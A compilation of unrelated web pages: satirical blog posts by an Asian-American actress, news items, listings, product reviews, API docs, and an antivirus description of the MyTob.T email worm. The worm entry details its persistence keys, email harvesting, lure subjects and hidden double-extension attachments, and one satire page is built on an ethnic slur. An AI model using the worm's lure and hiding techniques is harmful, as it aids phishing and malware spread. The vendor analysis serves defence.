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Just because I'm Korean, that does not mean I know or even care about every other Asian person you've met…not your dry cleaner, not your pedicurist, not your neighborhood bodega dude, not your dentist or your cousin's adopted kid. I'm sure they are wonderful people. But no, I don't know them. And I highly doubt we are related.
O My Dumpling
1 lb ground turkey meat
1/2 block firm tofu (optional)
1 package wonton/eggroll skins
1 onion
1 egg
sesame seed oil
Bragg's Amino Acids (or soy sauce)
lemon or lime
Cock Sauce (aka Sriracha)
peanut or canola oil
seasoning: salt, pepper, you can also add curry powder, cumin, thyme, whatever you like
In a mixing bowl grate a carrot and a zucchini. Add a chopped onion and a clove of garlic. Add ground turkey, tofu (pat dry with a paper towel first to rid of excess water), an egg yolk (save the egg white), a good dollop of sesame oil, season with salt/pepper etc.
Mush together with your hands or some utensil if you're anal.
Scoop a spoonful of the meat mixture into the center of a dumpling skin. Wet the edges with the egg white and pinch it closed either into a triangle, some fancy dooda, or go crazy and make some other weird shapes. If meat oozes out the edges, you're adding too much meat.
Heat a skillet with a couple dollops of either peanut or canola oil over medium heat. Drop in some dumplings and turn over after a few minutes to brown on both sides. Test one to make sure it's cooked in the middle. Get a platter with a paper towel on it to put the cooked dumplings on.
For dipping sauces we like Bragg's Amino Acids (or soy sauce) with some lemon or lime juice squeezed in and some chopped scallions. Or dip your dumpling in Cock Sauce if you like to spice it up. Another great dipping option is Hilda's Peanut Sauce (sweetened peanut butter, fresh lemon juice, sweet Indonesian soy sauce, water, and Sambal mixed over heat to taste).
Eat them all.
If you can't enjoy life and prefer to steam them, go for it.
#dumplings #mysecretrecipe #EatThemAll
My New Lifestyle Site
what's gook?
Gook is a derrogatory term used for the purpose of describing a Korean and a digital media and e-commerce company founded by Hettienne Park.
the weekly publication
Hettienne started gook in the spring of 2014 to share all of Asian life's positives. From creating a delicious dumpling recipe to finding the perfect kimono for spring, Hettienne began curating the best of Asian lifestyle to help her readers save time, simplify and feel Asian. Determined to publish a genuine and resourceful issue each week, for many, this gook has become their most trusted girlfriend on the web.
Gook has since grown into an eminent Oriental lifestyle publication, dedicated to informing and positively inspiring its audience. Gook gives readers exclusive access to recipes, travel guides, fashion, wellness tips, cultural notes and more. Incorporating the knowledge of expert contributors and tastemakers, along with our own slanted eye and uncompromising style, issues are delivered straight to your inbox every Thursday. Additionally, the publication in its entirety can be found right here on the site at any time, making gook.com a wealth of knowledge and an indispensable resource for all who love to make, go, get, do, be and see Yellow.
To stop receiving the gook issue, unsubscribe here.
the gook collection
After years seeking out the Asian in any particular category for the weekly issue, finding all those must-have items for gook readers, our passion for collaboration and design grew. Rather than talking about the products we loved, why not apply the same discerning ancient Chinese philosophy of our publication to products and create them? Each week, gook premieres one exclusive limited edition collaboration and our edit of a favorite brand. Whether it's a wardrobe staple, a home accessory, or a beauty must, we believe these are the curated Far Eastern essentials for you, your wardrobe and your home.
#GOOP #consciousuncoupling #yellowisthenewblack #http://www.goop.com/about/whats-goop
Top 10 Reasons Why it's Cool to be an Asian Female
(Art by Liu Ye)
1. There is nothing more satisfying than the look on someone's face when they watch me parallel park in one try.
2. Most of my best friends are gay guys and hipsters.
3. Straight guys with yellow fever hold doors open for me and buy me drinks.
4. I can magically disappear by blending into a group of other Asian females.
5. Strangers on the street rarely ever talk to me because they think I can't speak English.
6. I get to amuse myself by making people uncomfortable by pretending to be offended when they reference anything remotely Asian. For example:
"Can you pass me that fortune cookie?"
"What the hell did you call me?!?!"
7. I can lie about my age and get away with it.
8. Crazy old dudes tell me amazing war stories about their days during the Korean War.
9. Crazy old dudes start speaking to me in Japanese or Chinese and I pretend I understand by giggling while covering my mouth and looking away.
10. People think I am way smarter than I really is.
Racism, Sexism, and Hannibal: Eat The Rude
I'm an American actress and I play Beverly Katz on NBC's HANNIBAL created by Bryan Fuller. (Spoiler Alert coming right now!!!) And she dies in episode 4 of Season 2. That episode got a lot of positive reviews, but it also incited an on-line storm of vitriol directed to Fuller himself for killing off Katz, or more specifically, for being racist and sexist. I caught wind of this myself via Twitter from our beloved Fannibals. And I thought maybe it'd be productive to talk about rather than ignore it.
Fuller cast me in a role that I didn't think I had a chance in hell of getting. I rarely if ever see minorities, women, minority women, let alone Asian women, get to play characters like Beverly Katz. I rarely if ever see characters like Beverly Katz period. And her last name is Katz for Christ's sake. Pretty open-minded, non-racist, pro-feminine writing and casting in my opinion.
As far as "fridging" (killing her off for the sake of advancing the plot or creating "manpain")… HANNIBAL is based on the Thomas Harris novels and it centers on the relationship between Hannibal Lecter and Will Graham – two dudes, so that's where the focus will be and will likely remain. (My guess is that now that their relationship has been well established, there will be opportunity to further develop female characters. One can hope.)
With good writing, every event happens in order to advance the plot and raise the stakes for the characters in the story, so I'm not sure how any character getting killed off is a bad or avoidable thing, especially on a show about a guy who eats people.
Yes, Fuller could've kept me on for longer and if he had, my character would've probably remained in the background processing crime scenes regurgitating technical exposition. Instead – albeit not for very long – he wrote enough for Katz to make people get to know her a little better, actually identify with her, and like her enough to care when she gets killed. If people can identify with this character regardless of the color of her skin, or like her regardless of her sex without her having to play the qualities we usually see chicks play, then that's a good thing in my opinion. If you are upset about not believing Katz would be so careless, I agree, though part of the fun of the show is its homage to the horror genre. And finding the writing unrealistic may not be enough damning evidence of racism or sexism.
And let's take Bella Crawford. She's a great presence in the story as Jack's wife despite being a peripheral character, played beautifully and poignantly with great strength by Gina Torres in some of the most moving scenes of the series. Her storyline and possible demise ain't cheap either. (And she landed a nice solid slap to Hannibal's mug.)
In addition, what you may not know is that, though Fuller is the creator/writer, supremely respected and highly regarded, there are many other cooks in this kitchen, AKA the producers. Even though Bryan crafted Katz's death from the get-go for the sake of storytelling – not to gleefully off a minority female – he wanted me to stay on for longer. I wanted to stay on for longer. But we're not the only ones who have a say about that. And with the other actresses on the show who have left or may be leaving soon, they have other commitments to other projects, so scheduling and availability are other major factors. And don't forget about the constraints of Father Time and the Almighty Budget. (You'd be shocked to know how amazing this show looks for how little money they put into it.)
Believe me, I would've preferred having Katz go down with a fight, but when I brought it up, I was told there was concern around showing Hannibal beating up a woman. I can see why they would be concerned. They were being sensitive not to overdo the violence against women in a story that inherently deals with violence. On the other hand, I also felt like that was sort of akin to relegating a female cop to a desk job rather than sending her out into the field. Isn't that sort of perpetuating the notion that women are the weaker sex? So I suggested to a couple producers that they mitigate their concerns by having Katz get a good solid shot at him before dying, maybe a kick in the balls or wounding him somehow. But then that poses more issues and problems with maintaining integrity and making sure Hannibal doesn't get caught too soon, which of course can't happen, otherwise there's no show. To be fair, I don't believe they didn't listen to me because I'm an Asian or a female. I think they didn't listen to me because I'm an actor.
Having said all that, I don't for one second discount or dismiss people's upset or frustration. There's a lot of pain out there. First of all, dealing with death, particularly of someone you know (or feel like you know in this instance), is difficult. That's why we love great TV shows and film and theater and art. We can actually feel our emotions, laugh, cry, and feel connected to one another, right? Secondly, dealing with racism or sexism sucks. I've come face-to-face with my fair share of racism AND sexism, especially in this industry. It's disgusting. It's humiliating, infuriating, deeply disappointing, and it fucking hurts. When you feel marginalized by the world at large, there's great comfort and empowerment in seeing someone you can identify with on the screen who isn't subject to clichés or stereotypes. When that gets taken away, you can feel like you've been fucked over once again. And unless you've ever been hurt merely due to the color of your skin, what's between your legs, or who sleeps next to you at night, you probably don't understand that kind of pain. And anger is usually our first defense against pain. And these are things you can't physically touch or pin down or throw away or kick the shit out of, arrest and put in jail, so when any form of it might be tangible – like the white, male writer/creator of HANNIBAL – he will become the unfortunate punching bag for a lot of people's pain.
And if you are one of those people doing the punching, I ask you to consider this: What if he's on our side? Don't forget this is network television, not cable. In order to sell those advertising dollars and survive, they want to appeal to the masses of Middle America. Fuller didn't have to have any women on the show. He didn't have to have any strong women on the show. He didn't have to have any diversity on the show. And HANNIBAL is trying to change the antiquated model of television programming, and they're doing it. Yes, prominent women and diversity should be a bare minimum for all shows, I agree. But one person can't change the entire industry or the establishment overnight. Certainly there are plenty of white male writers who may have their own agendas, or may not even realize the frame through which they view the world is biased. But I wouldn't underestimate Bryan Fuller. His entire body of work alone shows that he's far from ignorant. And I understand some people were upset with his AV Club interview regarding that episode, but don't mistake his passion for the creative process of writing fiction with any lack of compassion he has in real life.
Now I'm definitely not suggesting any of these issues get dismissed or that anyone should be silenced, or even that Fuller isn't secretly the most intelligent psychopath of all. I actually don't really know. But no one of us can change the world or the industry and eradicate racism, sexism, or homophobia alone. And while I don't think anyone honestly believes a TV show bears the burden of social justice, I do think audiences appreciate seeing a realistic representation of the population. And it is becoming more and more obvious that it's economically viable and necessary to do so. It's vitally important to speak your truth, voice your opinions, express your concerns and upset, and more importantly support and praise the things you like and love. And the people who are the decision makers – the network, producers, writers – they will be forced to listen. And if you're loud enough, they will hear you, and things will change. Though it's always more effective to do so without getting nasty or disrespectful about it because that only pushes people further away. I'm not sure the people who are directing their anger at Fuller or HANNIBAL aren't really angry at the old-fashioned ideas cultivated by our society about women and people of color. Let's talk about it with civility and dignity. I don't see how attacking anyone to the point where nobody wants to listen to any possibly valid points you're making is going to lead to any solutions. And at least for me, I just end up feeling even worse.
I'd rather focus on the positive stuff. I got to play this amazing woman who didn't have to sleep with anyone (not that I would have minded) or act dumb and girlie or fawn all over some guy or be a conniving bitch to get people to notice or respect me, and she didn't speak broken English or karate chop anyone (not that I would have minded). Nobody called her "dragon lady" or "exotic." She could shoot a gun and drive that FBI SUV like a champ. And all with the extra added bonus of being Jewish. And when I get messages and thank yous from viewers who dig that or are inspired by that, well, that's what makes any of this worthwhile or mean anything to me. So thank you for that. I love Beverly Katz. And I loved playing her.
I tend to be forgiving of human imperfection as well as give people the benefit of the doubt. I believe in Bryan Fuller. I believe he's on our side. And I think it's pretty awesome that the people who watch HANNIBAL are invested and passionate and intelligent enough to bring these issues to light and make some noise. Maybe this was his design all along. You never know.
PS…I don't wish to become the target of the vitriol, but I'm probably more guilty of racism and sexism than HANNIBAL or Bryan Fuller. I admit I unabashedly tried to point my ass towards the camera every chance I could get, and I begged them to turn me into an eggroll. Neither attempts were successful.
#GirlPower #YellowFever #RIPBevKatz #FANNIBALSruletheworld #EmbraceYourStrengthsLaughatEachOthersWeaknesses


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Help continues to pour in for storm victims and the Southern Baptist Disaster Relief group has focused on providing hot meals for people affected by the recent vicious storms.
This army of volunteers has served more than 200,000 meals to people in Moore, El Reno, Shawnee and other areas hit.
The goal is simple; to keep peoples' tummies full and to give them nutrition.
For Southern Baptist Disaster Relief members, food is just a small part of the greater message.
"That the world cares about them and it's really a compassion thing," Sam Porter said, State Director of Southern Baptist Disaster Relief.
During devastating times like the recent tornadoes and flooding that hit Oklahoma, people affected might be too busy focusing on what to do next, rather than to keep healthy.
Porter said the task to make hundreds of thousands of meals takes a lot of helping hands, among other things.
"We have 17 semis full of food, that's about $1 million worth of food sitting in this parking lot," Porter said.
If the need arises, a certain truck can make up to 30,000 meals per day now, food like black eyed peas and brisket.
"Yum and it smells real good," volunteer Julia Bolding said.
Bolding said you can't fix all the devastation but giving a hot meal to people who don't have a home to eat in anymore can provide a temporary form of relief.
"If we can let them know that others care, that's bigger than we even know," Bolding said.
Through foods like roast and black eyed peas, volunteers are cooking their way into peoples' hearts.
"When everyone else's world falls apart, I've got 5,000 Oklahomans trained what to do when that happens," Porter said.
The Southern Baptist Disaster Relief team has an agreement with the Red Cross and the Salvation Army to distribute the meals to storm victims in devastated areas.

subset: commoncrawl


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Support us
Visit us
Contact us
This scheme is for academics in the UK researching physics and mathematics education who are at an early stage of their career and have the potential to become leaders in their field.
The scheme provides outstanding educationists with the opportunity to build an independent research career in Science, Technology, Engineering and Mathematics (STEM) education. It is also open to University Research Fellows and Dorothy Hodgkin Fellows whose work is relevant to the teaching of STEM subjects.
The ultimate aim of this scheme is to develop and support robust, evidence-based research which can inform national education policy and practice. Candidates will be appointed based on individual excellence and the relevance of their research work to both policy and practice. It is expected that successful applicants will be strong candidates for permanent posts in universities at the end of their fellowships.
The scheme is supported by The Ogden Trust and The Company of Actuaries Charitable Trust.
The current round covers physics education for pupils aged 5-19.
The applicant must:
The European Economic Area (EEA) consists of the European Union (including the UK) plus Iceland, Norway and Liechtenstein.
Applicants should ensure that they meet all the eligibility requirements, which are explained in the scheme notes (PDF).
Fellowships will cover salary and research expenses for up to two years. In addition, each fellowship offers:
Applications are initially reviewed by members of Education Research Fellowship panel who have the most appropriate expertise.
The shortlisted proposals are reviewed by two independent referees suggested by the panel members. The final decision is made by the selection panel.
This scheme is currently closed to applications.
To apply for this scheme:
Read about researchers who have been awarded an Education Research Fellowship:
See all the case studies.
Education Research Fellowship
For academics in the UK researching physics and mathematics education who are at an early stage of their career and have the potential to become leaders in their field.
We also run the Partnership Grants scheme, which provides funding for schools to work in partnership with scientists and engineers.
See all the grant schemes.
If you have a question about this scheme, please first read the scheme notes which contain more information. If the answer is still not available, you can contact the grants team here.
Our grant schemes for scientists and researchers.
Read about the scientists our grant schemes support.
How the application and assessment process works.
The principles which guide what we fund.
A breakdown of our grants spending.
Send a message to the Grants Office.


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Purple PU Magnetic Smart Slim Case Cover with Crystal Clear Back Cover for Apple the New iPad 3 4G iPad 2 - 6013UPUIB
Learn more about Purple PU Magnetic Smart Slim Case Cover with Crystal Clear Back Cover for Apple the New iPad 3 4G iPad 2:
|Please note the smart case cover included in this item is made by 3rd party company, not made by Apple. This combo combines the screen protection of the Smart Cover with the exterior protection of the snap-on Polycarbonate case to give iPad with Retina Display (aka iPad 4), The New iPad (aka iPad 3) or iPad 2 full protection. The combination protects both the front and back of your iPad from scratches, bumps, and dents. Both made from premium materials to ensure durability and designed for excellent functionality. The Smart Cover enables the sleep/wake function of the New iPad 4, iPad 3 or iPad 2. It can also be folded back into a stand to prop iPad in either horizontal or vertical position. The clear snap-on PC case allows full access to all buttons and ports without having to remove either the case or smart cover. Compatible with iPad with Retina Display (aka iPad 4), The New iPad (aka iPad 3) or iPad 2 only, does NOT fit the first generation iPad 1.
Customer Reviews of Purple PU Magnetic Smart Slim Case Cover with Crystal Clear Back Cover for Apple the New iPad 3 4G iPad 2
Fast shipping12/11/2013
Super tough , 2 years and counting ,excellent
Exceeded my expectation12/19/2012
The clear case and purple magnetic cover look and work well. The bonus is that the included stylus actually works great!
Don't pass on this great case!!!12/17/2012
I own the Apple version of this cover and this one is 90% as nice. The magnet that keeps it folded is weak but beyond that this case is great. Saving $30 over the Apple version is well worth it. The clear back cover is very slim and does its job. I have already ordered a second one in a different color!
Nice Product11/7/2012
Color was darker than pictured, but very pretty.
Great seller and product, good price11/5/2012
Great seller, great product, great price.
Very nice10/22/2012
Nice cover. Looks just as nice as Apple's original cover for a fraction of the price. And it includes a (very nice) cover for the back too!
Nice cover9/13/2012
Very happy with this. Received quickly even with free shipping. Fit perfectly and even got a free capacitive stylus which I love! Thanks. :-) Might order another in green!
Good value8/28/2012
Love the Color ! Work perfectly with my Ipad2. The transparent back cover case is a plus
great product8/17/2012
Love it, great price
Great product8/13/2012
I have this product and the Apple product, and I was pleasantly surprised how this product compares to the Apple product. Perfect fit and great feel!
Very good cover for iPad2.8/7/2012
The cover in the back just snap right in and the smart cover works very well and the price is a bargain. Thanks.


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Angha's current deal with Arsenal expires this summer, and he is reported to have agreed a four-year contract with Nurnberg pending the outcome of a medical.
Nurnberg have not commented on whether a deal has been reached, but general manager Martin Bader acknowledged Angha is on their radar.
"Martin Angha is a player we are strongly interested in," said Bader.
Angha has made two appearances for the Arsenal first team this season, with his only start coming in the 6-1 demolition of Coventry City in the Capital One Cup.
The 19-year-old joined the Gunners from Zurich in 2010, and although featuring regularly for the Academy and reserve sides he has not made strong claims for a place in Arsene Wenger's side.


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#include <cx/DataAccess.h>
cxConnection *cxConnDup(cxConnection *src)
integer function cxConnDup(src) integer src
- src
- Input connection list data structure.
cxConnDup is useful for creating a new pyramid that refers to lattices contained in another pyramid, but with slightly different connections. The lattices can be added to the new pyramid by reference, but the old connections are copied and then the distinct new connection values are set. Routines cxConnPtrSet and cxConnEleSet set the data values contained within a connection list. They are used to replace all or part of a connection list.
The newly formed connection list is a reference counted, shared memory object. Its reference count is set in cxConnDup and need not be changed before use.cxPyrDup(3E), cxConnNew(3E), cxConnPtrSet(3E), cxConnEleSet(3E), cxDataRefInc(3E)
Last modified: Mon Nov 6 16:32:58 GMT 2000
[ Documentation Home ] © The Numerical Algorithms Group Ltd, Oxford UK. 1999


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Anna University Chennai Time Table 2014 Examination Time Table:-
The Anna University has published timetable 2014 on the official website. Those students who are appearing in the university they can download timetable in the PDF format from the university official website. It is conduct many undergraduate, postgraduate and Research / Doctoral-level Courses. Those students who are appearing in the MBA distance their examination will be started from 16th February, 2014 on Sunday and for various courses timetable they can visit the University official website and check your timetable.
Mostly Anna university exam is going to start on February month. The all courses timetable has updated on the Anna University official website which is www.annauniv.edu.
Anna University Chennai Time Table 2014 :-
The Anna University, Chennai was established in 1st February, 2007 in Chennai, Tamil Nadu, India. The University is famous University. This provide many courses in Undergraduate Degree Courses such as BA, BCom, BSc, BBA, BCA, LLB etc. and in Postgraduate Degree Courses such as MA, MSc, MBA, MCA, MBA, LLM etc. and Research / Doctoral-level Courses such as Master of Philosophy (MPhil), Doctorate of Philosophy (PhD).
The university has provided many facilities such as related to education, sports, computer labs, science labs, library etc. The University have official website where candidates can download timetable, check result, apply application form, get more details about the university etc. The university has held exams in semester wise and year wise. To the university four main part (college) such as College of Engineering, Guindy, Alagappa College of Technology, Madras Institute of Technology and the Anna University School of Architecture and Planning.
Anna University Chennai Time Table 2014:-
This is good news for all those candidates who are appearing in the Anna University, they can check and download your date sheet 2014 in the PDF format. The university has published date sheet by course wise on the official website. The Anna university students can visit the official website and click on the 2014 timetable link, select your course and download it. The timetable is in PDF format so this is downloading very easy. The Anna University official website is www.annauniv.edu.


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Death panels versus hospice
Under Obama's health care reform, critics say, "death panels" will decide who gets to live and who gets to die. Unfortunately, this scare tactic could mean no funding for a program many Catholics seem to think important: hospice care.
In theory at least, Catholics like to look at death as a natural part of life, as a point of transition and not an end. But at the same time, we all want to be alive, and death can be scary.


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Welcome to Cool Stuff, a weekly feature where we post our favorite links from the past week, including our favorite articles and how-tos, videos, images and more.
- We've said it before, and we'll say it again: any time Joe McNally talks, everyone should listen. This latest video will only be only till Feb 20, 2013, so make sure you watch it before then.
- Here's another photographer you should always listen to/watch/study with if you get the chance: Gregory Heisler. From the guys over at the Profoto Blog comes a recounting of Greg's shoot with Yasser Arafat.
- Yet another photographer we love is back with his series of image critiques. Here's Episode 15 of Zack Arias' "Photography Critiques."
- Budding auto photographers should head over to Scott Kelby's blog and take a look at his detailed post on how he shot details on an Aston Martin Vantage. Mmm…. car porn!
- And finally, from our friends over at PetaPixel, classified in the "Oh, Iran!" category: another Photoshop blunder from that country makes us chuckle all over again.
That's it for this week's Cool Stuff! As always, questions and feedback are welcome in the comments below.
The following two tabs change content below.
Sohail Mamdani is a writer and photographer based in the San Francisco Bay Area. Follow him on Twitter. You can find his blog at anymedium.com and his work on 500px.
Latest posts by Sohail Mamdani (see all)
- Latest Gear at BorrowLenses – July Edition - July 27, 2015
- Going Long On a Budget: The Tamron 150-600mm Telephoto Lens - July 8, 2015
- Swap out That Wide Angle Lens for Your Landscape Photography - July 7, 2015


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RALEIGH — The N.C. Museum of Natural Sciences' Nature Art Gallery is pleased to present the work of North Carolina artist/illustrator/author, Anne Marshall Runyon in an exhibit entitled Natural Habitats opening First Friday, February 1, with a reception from 6:30 to 9 p.m.
January 23, 2013 - 5:22pm
January 18, 2013 - 3:20pm
For Immediate Release – January 18, 2013
Images available.
January 15, 2013 - 12:35pm
RALEIGH — Over the past few decades, NASA has sent instrumented robotic probes to all
January 14, 2013 - 12:05pmNew Leader Built Highly Regarded Career in Research and Museum Leadership
December 31, 2012 - 1:27pm
New Year's Eve kicked off with the North Carolina Museum of Natural Sciences reaching a new milestone. Vikas Patel of Cary, became the 1,000,000th visitor at the Museum since opening its new wing, the Nature Research Center.
December 21, 2012 - 12:51pm
RALEIGH — Sometime in the near future, when we least expect it, they will come. Cities will burn. Mankind will panic. Our world will tremble. You must see "Five Million Years to Earth" before it's too late.
December 19, 2012 - 5:02pm
Want to know how well a dinosaur could see, hear and smell? Get inside its head! That's what a group of researchers from the U.K. and U.S.
December 19, 2012 - 5:01pmRecent research reveals new information on the evolution of dinosaur senses
December 14, 2012 - 4:48pm
Media Advisory: E.O. Wilson's Global Town Hall and NRC Exhibit Ribbon-Cutting, Thursday, December 13December 12, 2012 - 9:40am
FOR IMMEDIATE RELEASE — December 10, 2012
Contact: firstname.lastname@example.com; 919.707.9837


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This collection of websites offering internship opportunities is continually updated to make sure you have the best information available at all times. Although we will make every effort to make sure these links are active and available, some links will change and become invalid. If you do discover a link that is not working, please immediately notify us at email@example.com.
Please check announcements on the Wolf Career Network for Resume and Interview preparation workshops. You can pick up a resume sample in our offices and make an appointment for a resume critique by calling 610.399.2033.
Please explore as many options as possible and look at more than one internship site.
Wolf Career Network – Find internship opportunities from regional organizations posted by CCPD. New opportunities added daily.
College Recruiter - Site offers several internship opportunities nationwide. Use the search term "internship" first.
CollegeGrad.com – The most visited internet site for internships and entry level opportunities; More than 6000 active links.
Commonwealth of PA – Official internship website for the Commonwealth of Pennsylvania
Cool Works – Internships in the US with outdoor centers, conservation corps, resorts, national parks, summer camps etc. Humanitarian and environmental internship opportunities available around the world as well.
DC Internships.org – Live, Learn and Intern in Washington DC. Learn more about Summer, Fall and Spring opportunities with trade associations, embassies, political organizations, federal agencies, media outlets, lobbying organizations and policy groups.
Entertainment Careers - Provides information on jobs and internships in the entertainment industry.
Environmental Careers Organization - Search for internships on this environmental website.
eScholar.com - encompasses Jobs, Internships, Scholarships, Fellowships, Grants, Apprenticeships and Cooperative Education within the Federal Government.
Get-That-Gig – Fun internship opportunities in all kinds of industries.
Global Experiences – Global Experiences is an international education program provider, specializing in international internships, summer internships, fashion internships abroad, volunteer programs, teaching English as a second language, foreign language training, and similar programs.
Great Summer Camp Jobs - Summer camp jobs are available now at premier boys, girls, and co-ed summer camps in Massachusetts, Michigan, New Hampshire, Maine, New York and New Jersey.
HBCU- Careers – Search for opportunities by company or by industry
Hospitality careers are booming! If you are interested in one of the many hospitality careers available, including lodging, food services, entertainment, recreation and the arts. Go to http://www.hospitalitycareersnow.com/ for information about the industry and start your new hospitality career!
Idealist - This site has listings for internships, jobs, volunteer opportunities, career fairs and events for the nonprofit sector.
IMDiversity.com – Great niche website with career and self-development information for job seekers of diverse backgrounds.
INROADS - Internships and professional development for minority students in various positions and geographic locations.
Internship Programs - Post your resume or search their database for internships. This site also provides internship reviews and allows you to research companies.
Internships 4 U – An easy-to-use service that will help you identify internships that fit your personality and give you the opportunity to make a difference with a company.
Internships in Youth Development - National Human Services Assembly is an association of the nation's leading national non-profits in the fields of health, human and community development, and human services.
Internships-USA - Over 100,000 students visit this site monthly to see internship offerings from 3,000+ organizations offering opportunities for college students.
Job Web – Supported by the National Association of Colleges and Employers, JobWeb offers limited internship opportunities.
NAFEO – For over a decade, the National Association for Equal Opportunity in Higher Education (NAFEO) has facilitated internship assignments in government and industry for students enrolled in historically and predominantly black colleges and universities.
Occupational Outlook - For hundreds of different types of jobs—such as teacher, lawyer, and nurse—the Occupational Outlook Handbook tells you:
- the training and education needed
- earnings
- expected job prospects
- what workers do on the job
- working conditions
Pennsylvania Newspaper Association - The PNA Foundation lists a variety of internship opportunities at PNA-member newspapers.
Petersons summer opportunities - Camps, travel and academic programs.
Sistahs-in-Science – Website at Mt. Holyoke sponsored by Dr. Sheila Browne and supported by a grant from General Electric.
Sponsors for Educational Opportunity - Sponsors for Educational Opportunity (SEO) is a nonprofit organization that was founded in 1963 as one of New York City's first mentoring programs for high school students of color.
Teachers - Teachers.com - Get helpful tips for finding jobs in the education field. Get news and updates. Connect with a community of educators who share similar interests and discuss topics which are important to educators.
The Harrisburg Inernship Semester (T.H.I.S.) - T.H.I.S is a semester-long internship program based in Harrisburg, PA.
The HBCU Career Center – Use your zip code and the keyword "intern" to find hundreds of internships in your area
Urban Interns – Did you know you could do an internship as a telecommuter? Find great "work-from-home" or virtual internships


text:
Three St. Louis Females are "One in 6,250" Kind of Ladies
Categories: Follow That Story, News
So, you know where to go during the next lightning storm? St. Vincent Park 'cause lightning never strikes twice, right? Wrong.
P.S. The victims -- age 22, 18 and 12 -- are in stable condition recovering from the strike.
Sponsor Content


text:
Hotels in 33898 - Lake Wales FL
Only hotels in 33898 zip code are listed below. Search for cheap and discount hotel rates in Lake Wales, FL for your upcoming leisure or conference / group travel. We list the best 33898 hotels and motels so you can review the Lake Wales hotel list below to find the perfect lodging. Hotels in Polk county and area code 863 are also listed.
33898 Hotels/Motels & Accommodations
Next: Show All Available 33898 Hotels with Pricing >


text:
Mission Statement
The BEST
Group seeks for a smart, efficient, and
environment friendly power system.
Topics that we are interested in
» Computational science with application to power system
operation and control
» An efficient, reliable, adaptable, and economic electric power infrastructure
» A new generation technologies
» Tools for decision-makers on critical energy policy issues
» Development of university programs in electric power engineering
Funded Research
Efficient AC Optimal Power Flow and Global Optimizer
Supported by
The Consortium for Electric Reliability Technology Solutions (CERTS)
Software Packages
The following software packages (MATLAB codes) are available for download from the BEST group.
Please contact the developers (persons' names appear inside the parenthesis) doe download.
» Low rank updates in LU factorization and eigenvalue decomposition (Zack)
» Rank-2 Update for eigenvalue decomposition (Zack)
» Semi-definite programming for AC OPF (Gokturk)
12/17/14 Mr. Khundmir Tashrifullahi Syed will join ABB
10/25/14 Mr. Karthik Reddy Mekala joins MISO, Midcontinent Independent System Operator
07/29/14 Mr. Harkirat Singh Choong joins NAPCUSA
05/30/14 Ms. Akanksha Pachpinde completes her MS. thesis
04/25/14 Ms. Akanksha Pachpinde defends her MS. thesis
and she joins Public Service Commission of Wisconsin
02/03/14 Mr. Sai Tarun Reddy Koppolu joins Energy Exemplar
10/30/14 MS thesis: we are seeking for MS students for interactive visualization. Detailed information is listed under


text:
Selected viruses, spyware, and other threats: sorted alphabetically
MyTob.T is a typical mass mailing e-mail worm, the size is 51062 bytes and the worm is runtime compressed by UPack, an executable runtime packer.
Note: In the following text, %windir% denotes Windows directory (e.g. C:\WINDOWS) and %system% denotes Windows System directory (e.g. C:\WINDOWS\SYSTEM32) as they differ on various versions of Microsoft Windows.
Installation and Autostart Techniques
Upon execution the worm copies itself into the System32 folder as "taskgmr.exe" and creates another self-copy using the file name NETHELL.EXE.
It also drops the component, HELLMSN.EXE, in the root directory, which is usually C:\.
This dropped component is detected by NOD32 as W32/Mytob.J (MSN Messenger Spreading Component)
Mytob.T creates self-copies directly in the root directory:
The worm creates a mutex "ggmutexk2" to avoid multiple running instances of the worm on one machine.
The worm adds the following registry key to the registry to make sure that it runs every time windows is started:
"WINTASK" = "taskgmr.exe"
"WINTASK" = "taskgmr.exe"
"WINTASK" = "taskgmr.exe"
MyTob.T adds also the following registry keys:
"WINTASK" = "taskgmr.exe"
"WINTASK" = "taskgmr.exe"
"WINTASK" = "taskgmr.exe"
"WINTASK" = "taskgmr.exe"
Note: The worm watches continuously for the presence of these registry keys and recreates them if they are not present anymore.
E-mail harvesting
The worm scans all fixed disks and collects e-mail addresses out of files which match one of the following file extensions:
*.wab, *.adb, *.tbb, *.dbx, *.asp, *.php, *.sht, *.htm, *.pl
However, these extensions are pretty much useless, because the worm has a bug regarding stringcat and compare with the WIN32_FIND_DATA results.
That said: The worm will always open and scan a file for e-mail addresses when at least one character matches one of the characters in the file extension list in the correct order.
In technical terms, that means the worm compares the file extension via 'instring function/substring function'.
Example: The worm will search for e-mail addresses in files where the file extension matches *.htm, *.ht, *.h for instance.
DNS resolving
The worm performs DNS e-mail-exchange-queries to find an appropriate mail server for each domain it tries to send itself to. If this DNS request for the mail server fails, the worm tries to guess the e-mail server adding in front of the domain name the following prefixes:
E-mail Sender
The worm generates the sender's e-mail addresses using the following list of names:
adam, alex, alice, andrew, anna, bill, bob, brenda, brent, brian, britney, bush, claudia, dan, dave, david, debby, fred, george, helen, jack, james, jane, jerry, jim, jimmy, joe, john, jose, julie, kevin, leo, linda, lolita, madmax, maria, mary, matt, michael, mike, peter, ray, robert, sam, sandra, serg, smith, stan, steve, ted, tom
at which it adds randomly, domain names (the domain names are encrypted and stored in the worm):
aol.com cia.gov fbi.gov hotmail.com juno.com msn.com yahoo.com
It uses its own SMTP (Simple Mail Transfer Protocol) engine to mass-mail copies of itself to other e-mail addresses.
E-mail subjects
MyTob.T selects randomly an e-mail subject out of the following list:
Server Report
Mail Transaction Failed
Mail Delivery System
Good day
Note: The e-mail subjects are encrypted and stored in the worm.
Message Body
The e-mail contains one of the following message texts
Mail transaction failed. Partial message is available.
The message contains Unicode characters and has been sent as a binary attachment.
The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment.
The original message was included as an attachment.
Here are your banks documents.
Note: The worm may also send e-mails containing a blank message body or random strings.
E-mail Attachments
The worm attaches one of the following file names with a self-copy:
with one of the following file extensions:
The worm may also attach itself as a ZIP file. The file inside the ZIP archive may have two extensions, the first chosen from the following list:
The second extension is chosen from the following list and is separated from the first extension by a huge amount of spaces to hide the executable file extension:
Example: attachment "text.zip" may contain the file "text.txt { spaces }.scr"
The worm avoids e-mail addresses which contain parts of the following list:
.gov, .mil, abuse, accoun, acketst, admin, anyone, arin., avp, be_loyal:, berkeley,
borlan, bsd, bugs, certific, contact, example, fcnz, feste, fido, foo., fsf., gnu, gold-certs,
google, gov., help, hotmail, iana, ibm.com, icrosof, icrosoft, ietf, info, inpris, isc.o,
isi.e, kernel, linux, listserv, math, mit.e, mozilla, msn., mydomai, nobody, nodomai,
noone, not, nothing, ntivi, page, panda, pgp, postmaster, privacy, rating, rfc-ed, ripe.,
root, ruslis, samples, secur, sendmail, service, site, soft, somebody, someone, sopho,
